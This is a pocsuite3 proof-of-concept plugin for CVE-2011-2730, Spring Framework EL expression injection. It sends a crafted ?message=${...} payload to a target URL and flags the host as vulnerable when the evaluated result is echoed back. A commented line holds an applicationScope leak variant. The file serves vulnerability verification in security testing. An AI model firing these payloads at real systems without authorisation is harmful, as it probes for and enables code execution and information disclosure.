#!/usr/bin/python
# -*- coding: utf-8 -*-
import re
# from pocsuite.api.request import req #用法和 requests 完全相同
# from pocsuite.api.poc import register
# from pocsuite.api.poc import Output, POCBase
import requests as req
from pocsuite3.api import POCBase, Output, register_poc as register

headers = {'user-agent': 'ceshi/0.0.1', 'content-type': 'text/xml'}
# poc_str = '''?message=${applicationScope}'''
poc_str = '''?message=${"aaa".replace('a','b')}'''


def poc(url):
    if not url.startswith("http"):
        url = "http://" + url
    if "/" in url:
        url += poc_str
    try:
        res = req.get(url, verify=False, timeout=5, headers=headers)
        response = res.text
    except Exception:
        response = ""
    return response


class TestPOC(POCBase):
    name = 'Spring Framework_RCE_CVE-2011-2730'
    vulID = 'CVE-2011-2730'  # https://www.seebug.org/vuldb/ssvid-20927
    author = ['debug']
    vulType = 'RCE'  # EL表达式执行
    version = '1.0'  # default version: 1.0
    references = ['https://www.secpulse.com/archives/6064.html']
    desc = '''
		   这个漏洞的形成，是因为在早于JSP2.0的版本上，由于没有EL表达式的支持，
           Spring标签为了兼容这部分版本，Spring的一部分标签独立于Servlet/JSP容器添加了对EL表达式的支持。
           这样做引起了一个问题，就是当这部分标签在支持EL表达式的容器中运行的时候，
           Spring标签的属性会被当做EL表达式执行两次，第一次是被容器当做EL执行，第二次是被Spring标签自身执行。
           所以，如果攻击者可以控制标签属性的内容，就可以执行自己提交的EL表达式，会造成信息泄露、代码执行等风险。
		   '''
    vulDate = '2020-02-7'
    createDate = '2020-02-7'
    updateDate = '2020-02-7'
    appName = 'Spring Framework'
    appVersion = '3.0.*,2.5.1 to 2.5.7'
    appPowerLink = ''
    samples = ['']

    def _attack(self):
        '''attack mode'''
        return self._verify()

    def _verify(self):
        '''verify mode'''
        result = {}
        response = poc(self.url)
        if 'bbb' in response:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url + 'Spring Framework_RCE_CVE-2011-2730' + ' is exist!'
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)
